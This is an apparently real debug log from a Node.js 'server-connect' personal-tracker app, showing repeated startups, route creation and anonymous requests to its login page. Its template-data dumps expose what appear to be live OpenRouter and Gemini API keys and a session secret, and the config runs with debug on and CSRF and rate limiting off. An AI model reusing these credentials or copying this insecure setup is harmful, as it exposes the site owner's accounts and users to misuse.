2026-06-20T15:23:37.613Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-20T15:23:37.620Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-20T15:23:37.623Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-20T15:23:37.623Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-20T15:23:37.634Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-20T15:23:38.125Z server-connect:router Serving templateView /
2026-06-20T15:23:38.127Z server-connect:app Executing action step identify
2026-06-20T15:23:38.127Z server-connect:app options: { provider: 'security' }
2026-06-20T15:23:38.129Z server-connect:auth No login cookie found
2026-06-20T15:23:38.129Z server-connect:output identity: false
2026-06-20T15:23:38.130Z server-connect:app Executing action step restrict
2026-06-20T15:23:38.130Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-20T15:23:38.133Z server-connect:output restrict: undefined
2026-06-20T15:23:38.242Z server-connect:router Serving templateView /login
2026-06-20T15:23:38.243Z server-connect:app Executing action step identify
2026-06-20T15:23:38.243Z server-connect:app options: { provider: 'security' }
2026-06-20T15:23:38.243Z server-connect:auth No login cookie found
2026-06-20T15:23:38.243Z server-connect:output identity: false
2026-06-20T15:23:38.243Z server-connect:router Render template layouts/authentication
2026-06-20T15:23:38.244Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '198.235.24.149',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-21T15:23:38.241Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '198.235.24.149',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '198.235.24.149',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-21T23:18:45.306Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-21T23:18:47.577Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-21T23:18:48.500Z server-connect:setup:upload Upload middleware configured.
2026-06-21T23:18:48.500Z server-connect:secure CSRF Protection initialized
2026-06-21T23:18:48.503Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-21T23:18:48.507Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-21T23:18:48.508Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-21T23:18:48.509Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-21T23:18:48.515Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-21T23:18:48.522Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-21T23:18:48.532Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-21T23:18:48.545Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-21T23:18:48.550Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-21T23:18:48.552Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-21T23:18:48.554Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-21T23:18:48.557Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-21T23:18:48.563Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-21T23:18:48.573Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-21T23:18:48.578Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-21T23:18:48.647Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-21T23:18:48.649Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-21T23:18:48.653Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-21T23:18:48.660Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-21T23:18:48.663Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-21T23:18:48.665Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-21T23:18:48.673Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-21T23:18:48.675Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-21T23:18:48.681Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-21T23:18:48.681Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-21T23:18:48.686Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-21T23:18:48.688Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-21T23:18:48.690Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-21T23:18:48.696Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-21T23:18:48.698Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-21T23:18:48.700Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-21T23:18:48.704Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-21T23:18:48.708Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-21T23:18:48.710Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-21T23:18:48.717Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-21T23:18:48.721Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-21T23:18:48.721Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-21T23:18:48.731Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-21T23:18:49.260Z server-connect:router Serving templateView /
2026-06-21T23:18:49.265Z server-connect:app Executing action step identify
2026-06-21T23:18:49.265Z server-connect:app options: { provider: 'security' }
2026-06-21T23:18:49.267Z server-connect:auth No login cookie found
2026-06-21T23:18:49.267Z server-connect:output identity: false
2026-06-21T23:18:49.267Z server-connect:app Executing action step restrict
2026-06-21T23:18:49.267Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-21T23:18:49.272Z server-connect:output restrict: undefined
2026-06-21T23:18:49.306Z server-connect:router Serving templateView /login
2026-06-21T23:18:49.307Z server-connect:app Executing action step identify
2026-06-21T23:18:49.307Z server-connect:app options: { provider: 'security' }
2026-06-21T23:18:49.307Z server-connect:auth No login cookie found
2026-06-21T23:18:49.307Z server-connect:output identity: false
2026-06-21T23:18:49.307Z server-connect:router Render template layouts/authentication
2026-06-21T23:18:49.308Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'accept-language': 'en-US,en;q=0.5',
    connection: 'keep-alive',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '31.70.75.89',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-22T23:18:49.305Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '31.70.75.89',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '31.70.75.89',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-22T09:30:28.669Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-22T09:30:30.939Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-22T09:30:31.802Z server-connect:setup:upload Upload middleware configured.
2026-06-22T09:30:31.802Z server-connect:secure CSRF Protection initialized
2026-06-22T09:30:31.808Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-22T09:30:31.810Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-22T09:30:31.811Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-22T09:30:31.813Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-22T09:30:31.821Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-22T09:30:31.821Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-22T09:30:31.835Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-22T09:30:31.849Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-22T09:30:31.855Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-22T09:30:31.856Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-22T09:30:31.857Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-22T09:30:31.861Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-22T09:30:31.867Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-22T09:30:31.877Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-22T09:30:31.881Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-22T09:30:31.951Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-22T09:30:31.953Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-22T09:30:31.956Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-22T09:30:31.963Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-22T09:30:31.968Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-22T09:30:31.968Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-22T09:30:31.976Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-22T09:30:31.979Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-22T09:30:31.984Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-22T09:30:31.987Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-22T09:30:31.992Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-22T09:30:31.994Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-22T09:30:31.997Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-22T09:30:32.003Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-22T09:30:32.003Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-22T09:30:32.007Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-22T09:30:32.007Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-22T09:30:32.011Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-22T09:30:32.013Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-22T09:30:32.020Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-22T09:30:32.024Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-22T09:30:32.024Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-22T09:30:32.035Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-22T09:30:32.524Z server-connect:router Serving templateView /
2026-06-22T09:30:32.526Z server-connect:app Executing action step identify
2026-06-22T09:30:32.526Z server-connect:app options: { provider: 'security' }
2026-06-22T09:30:32.528Z server-connect:auth No login cookie found
2026-06-22T09:30:32.528Z server-connect:output identity: false
2026-06-22T09:30:32.529Z server-connect:app Executing action step restrict
2026-06-22T09:30:32.529Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-22T09:30:32.532Z server-connect:output restrict: undefined
2026-06-22T09:30:32.914Z server-connect:router Serving templateView /login
2026-06-22T09:30:32.915Z server-connect:app Executing action step identify
2026-06-22T09:30:32.915Z server-connect:app options: { provider: 'security' }
2026-06-22T09:30:32.915Z server-connect:auth No login cookie found
2026-06-22T09:30:32.915Z server-connect:output identity: false
2026-06-22T09:30:32.915Z server-connect:router Render template layouts/authentication
2026-06-22T09:30:32.916Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux i686; rv:124.0) Gecko/20100101 Firefox/124.0',
    referer: 'https://www.ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '185.8.106.229',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-23T09:30:32.913Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '185.8.106.229',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux i686; rv:124.0) Gecko/20100101 Firefox/124.0',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '185.8.106.229',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-22T14:19:03.755Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-22T14:19:06.026Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-22T14:19:06.887Z server-connect:setup:upload Upload middleware configured.
2026-06-22T14:19:06.888Z server-connect:secure CSRF Protection initialized
2026-06-22T14:19:06.892Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-22T14:19:06.895Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-22T14:19:06.897Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-22T14:19:06.898Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-22T14:19:06.906Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-22T14:19:06.907Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-22T14:19:06.921Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-22T14:19:06.935Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-22T14:19:06.940Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-22T14:19:06.941Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-22T14:19:06.944Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-22T14:19:06.948Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-22T14:19:06.953Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-22T14:19:06.963Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-22T14:19:06.966Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-22T14:19:07.038Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-22T14:19:07.039Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-22T14:19:07.046Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-22T14:19:07.050Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-22T14:19:07.054Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-22T14:19:07.057Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-22T14:19:07.065Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-22T14:19:07.065Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-22T14:19:07.072Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-22T14:19:07.075Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-22T14:19:07.079Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-22T14:19:07.079Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-22T14:19:07.083Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-22T14:19:07.087Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-22T14:19:07.091Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-22T14:19:07.091Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-22T14:19:07.093Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-22T14:19:07.099Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-22T14:19:07.099Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-22T14:19:07.106Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-22T14:19:07.109Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-22T14:19:07.112Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-22T14:19:07.121Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-22T15:35:23.494Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-22T15:35:25.965Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-22T15:35:27.502Z server-connect:setup:upload Upload middleware configured.
2026-06-22T15:35:27.502Z server-connect:secure CSRF Protection initialized
2026-06-22T15:35:27.504Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-22T15:35:27.506Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-22T15:35:27.507Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-22T15:35:27.507Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-22T15:35:27.512Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-22T15:35:27.515Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-22T15:35:27.528Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-22T15:35:27.544Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-22T15:35:27.545Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-22T15:35:27.548Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-22T15:35:27.550Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-22T15:35:27.551Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-22T15:35:27.558Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-22T15:35:27.567Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-22T15:35:27.569Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-22T15:35:27.577Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-22T15:35:27.579Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-22T15:35:27.581Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-22T15:35:27.587Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
